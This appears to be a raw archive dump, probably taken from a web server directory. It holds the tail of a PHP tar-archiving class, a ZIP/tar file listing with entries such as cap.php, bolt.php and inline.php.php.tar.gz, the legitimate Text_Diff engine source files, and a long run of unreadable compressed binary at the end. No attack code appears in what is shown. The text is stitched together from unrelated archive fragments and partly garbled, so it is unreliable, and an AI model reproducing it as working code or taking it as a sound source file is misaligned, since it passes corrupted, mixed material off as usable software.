        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK                                                                                                                                                                                                                                                                                                                                                                                                          Engine.zip                                                                                          0000644                 00000077134 15217301643 0006513 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer.tar.gz                                                                                     0000644                 00000462366 15217301643 0007464 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
